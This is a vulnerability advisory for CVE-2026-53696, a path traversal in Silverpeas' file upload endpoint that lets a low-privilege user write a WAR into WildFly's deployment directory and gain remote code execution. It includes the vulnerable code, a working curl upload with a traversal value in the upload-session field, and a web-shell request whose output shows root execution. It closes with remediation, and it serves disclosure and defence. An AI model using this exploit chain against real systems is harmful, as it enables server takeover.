CVE-2026-53696: Path Traversal to Remote Code Execution in Silverpeas

Summary

The /services/fileUpload endpoint in Silverpeas through 6.4.6 constructs its upload base directory from the attacker-controlled X-UPLOAD-SESSION multipart form field without rejecting path traversal. An authenticated low-privilege user can escape the temporary directory and write a WAR payload into the application server’s deployment directory, leading to remote code execution.

Field	Details
CVE	CVE-2026-53696
Weaknesses	CWE-22: Path Traversal; CWE-434: Unrestricted Upload
Affected versions	Through 6.4.6
Fixed version	6.4.7
Required access	Low-privilege authenticated account
CVSS 3.1	9.9 Critical; `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H`
CVSS 4.0	9.4 Critical; `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H`

Technical details

The upload resource receives both the session identifier and file as multipart form fields:

@FormParam(FileUploadData.X_UPLOAD_SESSION)
private String uploadSessionId;

@FormParam("file_upload")
private RequestFile requestFile;

FileUploadData rejects traversal only in fullPath. It stores uploadSessionId without applying the same check:

private FileUploadData(String uploadSessionId, String fullPath,
    final String componentInstanceId) {
  if (isDefined(fullPath) && fullPath.contains("..")) {
    SilverLogger.getLogger("silverpeas.core.security")
        .error("Path Traversal attack detected");
    throw new WebApplicationException(Response.Status.FORBIDDEN);
  }
  this.uploadSessionId = uploadSessionId;
  this.fullPath = fullPath;
  this.name = isDefined(fullPath) ? new File(fullPath).getName() : "";
  this.componentInstanceId = componentInstanceId;
}

The unchecked value is then used to construct the upload directory:

uploadSessionFolder = new File(
    FileRepositoryManager.getTemporaryPath(), uploadSessionId);

return new UploadSessionFile(
    this, fullPath, new File(uploadSessionFolder, fullPath));

For example, if the temporary directory is /opt/silverpeas/temp/, an upload session of ../../../../../opt/wildfly/standalone/deployments/ moves the base outside that directory. A clean filename such as cmd.war then passes the fullPath check and resolves under WildFly’s deployment directory.

Reproduction

The following steps use a low-privilege user’s API token and a prebuilt WAR containing a JSP command handler.

1. Upload the WAR through the traversed session directory

curl -k -X POST 'https://<target>/silverpeas/services/fileUpload' \
  -H 'Authorization: Bearer <api-token>' \
  -F 'X-UPLOAD-SESSION=../../../../../opt/wildfly/standalone/deployments/' \
  -F '[email protected];filename=cmd.war'

The JSON response shows both the attacker-controlled session identifier and the clean file path:

[
  {
    "uploadSessionId": "../../../../../opt/wildfly/standalone/deployments/",
    "fullPath": "cmd.war",
    "name": "cmd.war"
  }
]

Upload response beside the file written outside the temporary upload directory — The upload response and resulting file in the selected directory

Writing an arbitrary file outside the temporary upload directory

2. Wait for hot deployment and execute a command

WildFly detects and deploys the archive. The JSP can then be reached through the WAR’s context path:

GET /cmd/cmd.jsp?cmd=id HTTP/1.1
Host: <target>

The test container returned:

uid=0(root) gid=0(root) groups=0(root)

Terminal showing the uploaded WAR and command output from the deployed web shell — Command execution after WildFly deploys the uploaded WAR

Complete path traversal and remote-code-execution chain

Impact

Any authenticated user who can call the upload API can write outside the intended temporary directory. On the official deployment, placing a WAR in WildFly’s deployment directory leads to command execution with the application server’s operating-system privileges.

Remediation

Upgrade to Silverpeas 6.4.7 or later. Validate uploadSessionId before using it as a path component. The final canonical path should also be checked to confirm that it remains below the configured temporary directory.

Overview

Silverpeas

CVE-2026-53696: Path Traversal to Remote Code Execution in Silverpeas

Summary

Technical details

Reproduction

1. Upload the WAR through the traversed session directory

2. Wait for hot deployment and execute a command

Impact

Remediation

References

​Summary

​Technical details

​Reproduction

​1. Upload the WAR through the traversed session directory

​2. Wait for hot deployment and execute a command

​Impact

​Remediation

​References

Summary

Technical details

Reproduction

1. Upload the WAR through the traversed session directory

2. Wait for hot deployment and execute a command

Impact

Remediation

References